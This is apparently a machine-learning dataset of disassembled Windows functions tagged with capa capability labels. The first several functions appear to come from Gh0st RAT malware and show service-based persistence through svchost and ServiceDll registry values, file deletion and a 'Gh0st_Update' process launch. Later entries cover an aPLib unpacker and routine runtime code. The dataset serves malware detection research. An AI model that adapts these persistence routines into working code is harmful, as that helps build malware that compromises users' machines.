joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f00
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x1000fec8], eax
jne 0x10003f1b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str._apvul_Ptttwcig_Umaa_vi__Lemt
push str.Phqlwd__wrjhokfQas
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x1000fec4], eax
jne 0x10003f54
pop ecx
ret
mov edx, dword [0x1000fec8]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x1000fec4]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.ImmjeftcDqnkq_frn_S_nkklm_Lxqgosed_W_f
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x10003f90
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Phqlwd__wrjhokfQas
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x100041d0
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Phqlwd__wrjhokfQas
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.100040f0
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.10004150
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push closesocket
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.100040f0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10004150
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x100046a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Phqlwd__wrjhokfQas
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000476c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x10004800
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push closesocket
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004923
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004918
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x10004923
cmp si, 1
je 0x10004923
push str.Phqlwd__wrjhokfQas
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10004908
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x10004923
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x100048bd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x10004930
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.100046a0
test eax, eax
jne 0x1000493e
call fcn.100041d0
call fcn.10004800
test eax, eax
jne 0x1000494c
jmp fcn.100043d0
ret
Function at 0x10004f40
Capabilities:
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push esi
push edi
jne 0x100050b4
push 0x37a
push str.Phqlwd__wrjhokfQas
call fcn.10004b80
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [esp + 0x220]
add esp, 0xc
push 0x104
push 0x1000fed8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 8]
stosw word es:[edi], ax
push 0x104
push ecx
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000fed8
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100050b4
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.100059c0
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
call fcn.10003e70
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x10c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push eax
call fcn.10003f00
add esp, 4
call fcn.100041d0
call fcn.100043d0
push 0x1000
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
push 0x1000fed8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__HfqoTKimmcsaj_jlr
call fcn.10004950
add esp, 4
call fcn.10004050
call fcn.10003f90
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret 0xc

Function at 0x100053e0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005402
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100034d0
add esp, 8
test al, al
jne 0x10005416
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x471c20
Capabilities:
Get common file path

Disassembly:
sub esp, 0x47c
push ebx
push edi
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x85]
mov byte [esp + 0x84], bl
push 0x400
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x88]
mov dword [esp + 0x1c], 0
push eax
push ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push str.C:Windows
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x477a74], eax
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [0x477a78], ecx
cmp dword [ecx], 0x4550
jne 0x471fd5
xor edx, edx
push ebp
mov dx, word [ecx + 0x14]
push esi
mov esi, edx
mov edx, dword [0x477a64]
mov edi, ecx
lea edx, [edx + edx*4]
add edi, esi
lea esi, [edi + edx*8 + 0x18]
mov edx, dword [0x477030]
mov edi, edx
inc edx
cmp edi, 1
mov dword [0x477a7c], esi
mov dword [0x477030], edx
jne 0x471d9d
mov edx, 0x471c00
sub edx, eax
mov dword [0x477a5c], edx
xor edx, edx
mov dx, word [ecx + 6]
mov dword [0x477a80], edx
mov edi, dword [ecx + 0x80]
mov ebp, dword [ecx + 0x28]
mov dword [esp + 0x14], edi
mov edi, dword [ecx + 0xa0]
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], edi
xor edi, edi
test edx, edx
jmp fcn.0047c1ed
jmp 0x5c7c3e1
pop edi
xor eax, eax
pop ebx
add esp, 0x47c
ret

Function at 0x4723d6
Capabilities:
Terminate process

Disassembly:
cmp dword [0x477bb0], 2
je 0x4723e4
jmp loc.0047b941
push dword [esp + 4]
call fcn.00473769
pop ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x473769
Capabilities:
Packed with generic packer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x477190
cmp edx, dword [eax]
je 0x47378b
add eax, 8
inc ecx
cmp eax, 0x477220
jl 0x47377c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x477190]
jne 0x4738b9
mov eax, dword [0x477bb0]
cmp eax, 1
je 0x473893
test eax, eax
jne 0x4737bc
cmp dword [0x4770e4], 1
je 0x473893
cmp edx, 0xfc
je 0x4738b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4737f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00474670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00474490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x473836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00474490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x47645c
push edi
call fcn.00474f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00474670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00474680
lea eax, [ebp - 0xa0]
push 0x47643c
push eax
call fcn.00474680
push dword [esi + 0x477194]
lea eax, [ebp - 0xa0]
push eax
jmp 0x47c714
lea eax, [ebp + 8]
lea esi, [esi + 0x477194]
push 0
push eax
push dword [esi]
call fcn.00474490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x15f0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.015f01a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x15f007e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x15f006a
add dl, dl
jne 0x15f0089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x15f00dc
xor eax, eax
add dl, dl
jne 0x15f0096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x15f017d
add dl, dl
jne 0x15f00a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15f00b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15f00bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15f00c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x15f00d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x15f0075
mov eax, 1
add dl, dl
jne 0x15f00ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x15f00f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x15f00e1
sub eax, ebx
mov ebx, 1
jne 0x15f0128
mov ecx, 1
add dl, dl
jne 0x15f010e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x15f0119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x15f0105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x15f0075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x15f013f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x15f014a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x15f0136
cmp eax, 0x7d00
jae 0x15f016d
cmp eax, 0x500
jb 0x15f0168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x15f0075
cmp eax, 0x7f
ja 0x15f0170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x15f0075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x15f019e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x15f0075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x435a73
Capabilities:
Create process on windows

Disassembly:
push 0x44
push 0
push 0x4a0898
call fcn.00414350
push 0x10
push 0
push 0x4a0888
call fcn.00414350
mov ecx, dword [esp + 0x1c]
add esp, 0x18
push 0x4a0888
push 0x4a0898
push 0
push 0
push 0x20
push 0
push 0
push 0
push ecx
mov eax, 1
push 0
mov dword [0x4a0898], 0x44
mov dword [0x4a08c4], 1
mov word [0x4a08c8], ax
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x435ae6
mov edx, dword [0x4a0888]
mov dword [esp + 4], edx
jmp dword [sym.imp.KERNEL32.DLL_CloseHandle]
ret 4

Function at 0x435dff
Capabilities:
Parse url

Disassembly:
sub esp, 0x840
mov ecx, dword [esp + 0x858]
mov edx, dword [esp + 0x85c]
push ebx
mov ebx, dword [esp + 0x84c]
push esi
mov esi, dword [esp + 0x84c]
mov eax, 0x400
push edi
mov edi, dword [esp + 0x860]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x85c]
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x20], eax
lea eax, [esp + 0x4c]
push 0
push esi
mov dword [esp + 0x18], 0x3c
mov dword [esp + 0x20], 1
mov dword [esp + 0x1c], 0
mov dword [esp + 0x3c], edx
mov dword [esp + 0x44], edi
mov dword [esp + 0x4c], eax
call fcn.004143ca
add esp, 4
push eax
push esi
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
test eax, eax
jne 0x435ea5
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x840
ret 0x1c
lea edx, [esp + 0x48]
push edx
push edi
call fcn.00412518
movzx eax, word [esp + 0x2c]
mov ecx, dword [esp + 0x860]
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
add esp, 8
sub eax, 1
je 0x435ef7
sub eax, 1
je 0x435ee3
pop edi
pop esi
mov dword [ebx], 3
mov al, 1
pop ebx
add esp, 0x840
ret 0x1c
pop edi
pop esi
mov dword [ebx], 2
mov al, 1
pop ebx
add esp, 0x840
ret 0x1c
pop edi
pop esi
mov dword [ebx], 1
mov al, 1
pop ebx
add esp, 0x840
ret 0x1c
Function at 0x49eccc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x49ed0b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x49ed0b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x49ed0b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x49ed0b
cmp dword [ecx + 0x74], 0xe
jbe 0x49ed0b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4a1ce1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004a82c0
mov eax, dword [0x4b55e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004a6d26
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4a1d23
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4a1e7f
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004a8210
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4b6a50]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004a803b
mov ecx, dword [esi*4 + 0x4b6a50]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4a1e78
cmp eax, dword [ecx + edi + 0x24]
jne 0x4a1e78
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4a1e78
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004a803b
add esp, 0x14
test edx, edx
jl 0x4a1e78
jg 0x4a1dee
test eax, eax
jb 0x4a1e78
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4a1e78
jl 0x4a1e08
cmp dword [ebp - 0x1008], eax
ja 0x4a1e78
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4a1e26
test ebx, ebx
je 0x4a1e5f
cmp ecx, edi
jae 0x4a1e5f
mov al, byte [ecx]
cmp al, 0xd
jne 0x4a1e40
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4a1e4c
cmp byte [ecx + 1], 0xa
jne 0x4a1e4c
inc ecx
jmp 0x4a1e4c
movzx eax, al
movsx eax, byte [eax + 0x4b5d48]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4a1e26
cmp edx, ebx
jne 0x4a1e26
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4a1e7d
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0049e433
leave
ret

Function at 0x4a25b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4a25dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4a25dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4a2972
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4af758
push 0x4af750
push str.FlsAlloc
push 0x1f
call fcn.004a2c55
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4a29a6
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x4a29ac
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4a29f0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4af768
push 0x4af760
push str.FlsGetValue
push 0x21
call fcn.004a2c55
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4a2a27
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4a2a2f
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4af770
push 0x4af768
push str.FlsSetValue
push 0x22
call fcn.004a2c55
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4a2a69
push dword [ebp + 0xc]
mov ecx, esi
